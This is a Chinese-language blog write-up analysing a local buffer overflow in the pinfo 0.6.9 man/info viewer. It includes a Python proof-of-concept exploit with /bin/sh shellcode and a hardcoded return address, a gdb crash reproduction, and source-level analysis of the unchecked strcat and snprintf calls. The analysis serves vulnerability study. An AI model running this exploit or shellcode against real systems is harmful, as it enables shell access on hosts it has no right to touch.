作者:k0shl 转载请注明出处:https://whereisk0shl.top


漏洞说明


软件下载: https://www.exploit-db.com/apps/c3298d36537601753558b3e9240b00b7-pinfo-0.6.9.tar.gz

PoC:

import os, subprocess
 
def run():
  try:
    print "# PInfo File Viewer - Local Buffer Overflow by Juan Sacco"
    print "# This Exploit has been developed using Exploit Pack"
    # NOPSLED + SHELLCODE + EIP
 
    buffersize = 564
    nopsled = "\x90"*200
    shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
    eip = "\x40\xf3\xff\xbf"
    buffer = nopsled * (buffersize-len(shellcode)) + eip
    subprocess.call(["pinfo -m",' ', buffer])
 
  except OSError as e:
    if e.errno == os.errno.ENOENT:
        print "Sorry, PInfo File Viewer - Not found!"
    else:
        print "Error executing exploit"
    raise
 
def howtousage():
  print "Snap! Something went wrong"
  sys.exit(-1)
 
if __name__ == '__main__':
  try:
    print "Exploit PInfo 0.6.9-5.1 Local Overflow Exploit"
    print "Author: Juan Sacco - Exploit Pack"
  except IndexError:
    howtousage()
run()

测试环境: Kali Linux 2.0 x86


漏洞复现


pinfo是一个Linux下用于处理文件的工具,它在处理文件时,如果构造一个畸形的文件名,则会调用这个文件名传入执行handlemanual函数,而没有对这个文件名进行检查,从而造成了缓冲区溢出,下面对此漏洞进行详细分析。

首先执行漏洞程序,传入畸形文件名,附加gdb,到达漏洞现场。

$ run -m `python -c 'print "A"*564+"DCBA"'`
Program received signal SIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
  EAX: 0x00000002  EBX: 0xB7F0B000  ECX: 0x00004554  EDX: 0x00000100
 o d I t s z a P c
  ESI: 0x41424344  EDI: 0x00004554  EBP: 0xBFFFF4A4  ESP: 0xBFFFEF30
 EIP: 0xB7D92832
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
 --------------------------------------------------------------------------[code]
 => 0xb7d92832 <__GI_getenv+114>:    cmp    di,WORD PTR [esi]
   0xb7d92835 <__GI_getenv+117>:    jne    0xb7d92828 __GI_getenv+104>
   0xb7d92837 <__GI_getenv+119>:    mov    eax,DWORD PTR [esp+0x14]
   0xb7d9283b <__GI_getenv+123>:    mov    DWORD PTR [esp+0x8],eax
   0xb7d9283f <__GI_getenv+127>:    mov    eax,DWORD PTR [esp+0x18]
   0xb7d92843 <__GI_getenv+131>:    mov    DWORD PTR [esp+0x4],eax
   0xb7d92847 <__GI_getenv+135>:    lea    eax,[esi+0x2]
   0xb7d9284a <__GI_getenv+138>:    mov    DWORD PTR [esp],eax
 --------------------------------------------------------------------------------

可以看到,此时esi引用了一处无效地址,接下来可以看一下栈里的情况。

  gdb$ x/100x $esp
 0xbffff250:    0xbffff49c    0x00000003    0x00000001    0x00000002
 0xbffff260:    0xb7d6ebf8    0xb7fe78bd    0xb7d74ffd    0x41049384
 0xbffff270:    0x41414141    0x41414141    0x41414141    0x41414141
 0xbffff280:    0x41414141    0x41414141    0x41414141    0x41414141
 0xbffff290:    0x41414141    0x41414141    0x41414141    0x41414141
 0xbffff2a0:    0x41414141    0x41414141    0x41414141    0x41414141
 0xbffff2b0:    0x41414141    0x41414141    0x41414141    0x41414141

可以看到此时栈中覆盖了畸形文件名,那么也就是说,esi可以看做一个指针,畸形文件名将esi指针的地址覆盖,造成了缓冲区溢出。


漏洞分析


在源码层进行分析,首先来看pinfo.c文件,这个是pinfo的主文件。

		do
		{
			char *tmp;
			command_line_option = getopt_long(argc, argv,
					"hvmfrapcsdtnlx", long_options, NULL);

可以看到,主文件中会有一个do while的结构,这个结构负责处理传入参数,command_line_option用于处理传入参数。

			switch(command_line_option)
			{
				case 'x':
					ClearScreenAtExit = 1;
					break;
				case 'l':
					LongManualLinks = 1;
					break;
				case 'n':
					if (!optarg)
					{
						printf(_("--node option used without argument\n"));
						exit(1);
					}
					pinfo_start_node = malloc(strlen(optarg) + 1);
					strcpy(pinfo_start_node, optarg);
					break;
				/* rcfile */
				case 1:
					if (!optarg)
					{
						printf(_("--rcfile option used without argument\n"));
						exit(1);
					}
					rcfile = strdup(optarg);
					/* parse user-defined config file */
					parse_config();
					break;
				case 't':
					ForceManualTagTable = 1;
					break;
				case 'h':
					printf(_("Usage:\n" \
								"%s [options] [info|manual]\n" \
								"Options:\n" \
								"-h, --help                            help\n" \
								"-v, --version                         version\n" \
								"-m, --manual                          use man page\n" \
								"-r, --raw-filename                    use raw filename\n" \
								"-f, --file                            synonym for -r\n" \
								"-a, --apropos                         call apropos if nothing found\n" \
								"-p, --plain-apropos                   call only apropos\n" \
								"-c, --cut-man-headers                 cut out repeated man headers\n" \
								"-l, --long-manual-links               use long link names in manuals\n" \
								"-s, --squeeze-manlines                cut empty lines from manual pages\n" \
								"-d, --dont-handle-without-tag-table   don't display texinfo pages without tag\n" \
								"                                      tables\n" \
								"-t, --force-manual-tag-table          force manual detection of tag table\n" \
								"-x, --clear-at-exit                   clear screen at exit\n" \
								"    --node=nodename, --node nodename  jump directly to the node nodename\n" \
								"    --rcfile=file, --rcfile file      use alternate rcfile\n"),
							argv[0]);
					exit(0);
				case 'v':
					exit(0);
				case 'm':
					checksu();
					if (verbose)
						printf(_("Looking for man page...\n"));
					strcpy(filename, "");
					for (i = optind; i < argc; i++)
					{
						strcat(filename, argv[i]);
						strcat(filename, " ");
					}
					exit(handlemanual(filename));
				case 'f':
				case 'r':
					strncpy(filename, argv[argc - 1], 200);
					/* security check */
					checkfilename(filename);
					/* add the raw path to searchpath */
					addrawpath(filename);
					tmp = filename + strlen(filename) - 1;
					/* later, openinfo automaticaly adds them */
					strip_compression_suffix(filename);
					/* get basename */
					while ((tmp > filename) &&(*tmp != '/'))
						tmp--;
					if (*tmp == '/')
						tmp++;
					/* and try it without '.info' suffix */
					id = openinfo(tmp, 0);
					break;
				case 'a':
					use_apropos = 1;
					break;
				case 'p':
					use_apropos = 1;
					plain_apropos = 1;
					strncpy(filename, argv[argc - 1], 200);
					exit(handlemanual(filename));
					break;
				case 'c':
					CutManHeaders = 1;
					break;
				case 'd':
					DontHandleWithoutTagTable = 1;
					break;
				case 's':
					CutEmptyManLines = 1;
					break;
			}
		}
		while (command_line_option != EOF);

接下来会进入一处switch语句,会根据接收到的参数进入相应的处理,这里关注case m的情况,是触发漏洞的关键位置。

				case 'm':
					checksu();
					if (verbose)
						printf(_("Looking for man page...\n"));
					strcpy(filename, "");
					for (i = optind; i < argc; i++)
					{
						strcat(filename, argv[i]);
						strcat(filename, " ");
					}
					exit(handlemanual(filename));

case m中,会处理文件名称filename,之后,会根据m后跟的参数情况对filename进行构造。

这里会传入畸形字符串,而可以看到这个过程没有对长度进行检查,接下来会退出处理,exit函数中,会调用给另外一个函数handlemanual。

这个函数位于manual.c中,找到函数开头位置。

/* this is something like main() function for the manual viewer code.  */
int
handlemanual(char *name)
{
	int return_value = 0;
	struct stat statbuf;
	FILE *id;

可以看到第一个参数name,实际上就是传入的畸形字符串filename,接下来继续进行处理。

	if (ignoredmacros)
		/* if there are some macros */
		if (*ignoredmacros && strlen(ignoredmacros))
		{				/* that should be ignored   */
			*location = '\0';
			/* we need to know the path */
			snprintf(cmd, 255, "man -W %s %s",
					ManOptions,
					name);
			id = popen(cmd, "r");
			if (!id)
			{
				printf(_("Error: Cannot call man command.\n"));
				return 1;
			}

可以看到,这里会对指针是否为空做一次判断,如果不为空,则会进入文件处理,这里会构造一个cmd命令行,但是对name却没有进行检查而是直接执行sprintf构造,从而导致当传入超长文件名的时候,会由于覆盖cmd缓冲区造成溢出。